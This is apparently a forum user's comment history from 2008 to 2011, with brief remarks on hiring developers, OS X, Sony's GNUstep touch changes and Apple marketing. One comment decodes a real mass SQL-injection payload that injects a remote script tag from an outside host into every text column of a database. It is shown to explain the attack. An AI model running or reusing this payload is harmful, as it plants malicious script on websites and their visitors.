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Re:Illustrated Calculus Textbook on Sunday July 03, 2011 @10:42PM (#2725194)
Calculus For Serial Killers
Re:Poll: Best way for startups to find awesome developers? on Wednesday June 22, 2011 @09:42PM (#2686262)
Define awesome.

- Someone who gets things done, maybe using bailing wire and duck tape.

- Someone who can solve problems no one else can

- Someone you can have a beer with.

- Someone who doesn't have a mind of their own and keeps their mouth shut.

- Someone who can't keep their mouth shut and thinks everything you do is wrong.

Sometimes you have to choose.

Re:Erik Naggum on Emacs and muscle memory on Tuesday June 21, 2011 @05:55PM (#2680599)
Blogs and Twitter killed the amazing Usenet rants.
Re:OS X Isn't for Developers on Thursday March 10, 2011 @09:47PM (#2311926)
Then they would have no one to blame their incompetence on, of course.
Re:OS X Isn't for Developers on Thursday March 10, 2011 @09:45PM (#2311920)
Right, because Windows comes with gcc?
Re:Sony's Changes to GNUstep GUI Library: Adding Touch on Saturday November 27, 2010 @02:55PM (#1945720)
SNTouch.m is one example with stubbed out class-dump methods.

The naming in every place that it can is lifted directly from UIKit, and then their changes use different naming conventions. For example the new instance variables in NSView.h.

Re:Sony's Changes to GNUstep GUI Library: Adding Touch on Saturday November 27, 2010 @08:28AM (#1944904)
Pretty obvious that whoever was working on that was mostly trying to reverse engineer UIKit vs. update GNUStep for touch. There are even commented out lines that are what would be output by class-dump.

I wonder if the straight reverse engineering/possible decompiling is why it was pulled so fast. Also, it's subtle, but there is a reason Apple didnt simply graft touch onto AppKit like this project is/was attempting.

Re:Steve Jobs explains branding on Friday August 27, 2010 @05:19PM (#1640310)
This is so offbase, that I'm not sure where to begin. Every iPod ad. The FaceTime ads, at the end of all recent Steve Jobs keynote. Apple is trying to promote their philosophy and vision constantly.
Re:New Product From 280North: Atlas on Tuesday February 24, 2009 @08:58PM (#493929)
I believe some if not all of the guys working at 280 North are ex-Apple engineers.
Re:SQL "development" gone horribly wrong... on Monday July 07, 2008 @03:52PM (#239114)
Decoded:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.suppadw.com/b.js></script>''');''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Re:Flexibility Is Bad Design on Monday June 30, 2008 @01:54PM (#232221)
If you're writing software without any kind of plan I feel sorry for you.
Re:Religion and computer language use survey results on Saturday February 16, 2008 @10:09PM (#117308)
So the only conclusion we can make is a lot of atheists took the survey?
Re:Looking for a co-founder? post here (3 rules apply) on Saturday February 16, 2008 @05:34PM (#117163)
I'm in the Los Angeles area. Mainly looking for an interface graphics designer, but anyone else could be interesting. Doing work in Seaside. phil at dizm.com